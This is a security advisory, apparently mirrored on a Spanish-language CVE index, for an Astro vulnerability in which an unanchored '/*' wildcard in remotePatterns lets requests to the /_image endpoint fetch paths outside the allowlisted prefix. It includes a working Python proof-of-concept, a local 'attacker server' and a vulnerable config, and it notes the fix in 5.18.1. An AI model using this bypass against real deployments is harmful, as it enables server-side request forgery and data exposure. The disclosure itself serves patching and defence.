GHSA-G735-7G2W-HH3F
Astro: Remote allowlist bypass via unanchored matchPathname wildcard
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 5.18.1 | astro · -16 d desde divulgación | |
| Divulgación | Publicada | GHSA-G735-7G2W-HH3F divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
## Summary
This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
## Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
## Description
Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()`
User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
return new Response('Forbidden', { status: 403 });
}`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
return (
matchProtocol(url, remotePattern.protocol) &&
matchHostname(url, remotePattern.hostname, true) &&
matchPort(url, remotePattern.port) &&
matchPathname(url, remotePattern.pathname, true)
);
}The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
} else if (pathname.endsWith('/*')) {
const slicedPathname = pathname.slice(0, -1); // * length
const additionalPathChunks = url.pathname
.replace(slicedPathname, '')
.split('/')
.filter(Boolean);
return additionalPathChunks.length === 1;
}Vulnerable code flow:
1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.
2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path.
3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
{ protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
],
},
});### Affected pages
This PoC targets the `/_image` endpoint directly; no additional pages are required.
PoC Code
import http.client
import json
import urllib.parse
HOST = "127.0.0.1"
PORT = 4321
def fetch(path: str) -> dict:
conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp = conn.getresponse()
body = resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should fail
results = {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1"
PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
<text>OK</text>
</svg>
"""
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f">>> {self.command} {self.path}")
if self.path.endswith(".svg") or "/img/" in self.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
return
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, format, *args):
return
if __name__ == "__main__":
server = HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()### PoC Steps
1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmastro |
Corregida | 5.18.1 | -16 d | 7.4.12 no afectada |
5.18.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-33769https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3fhttps://github.com/withastro/astroLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
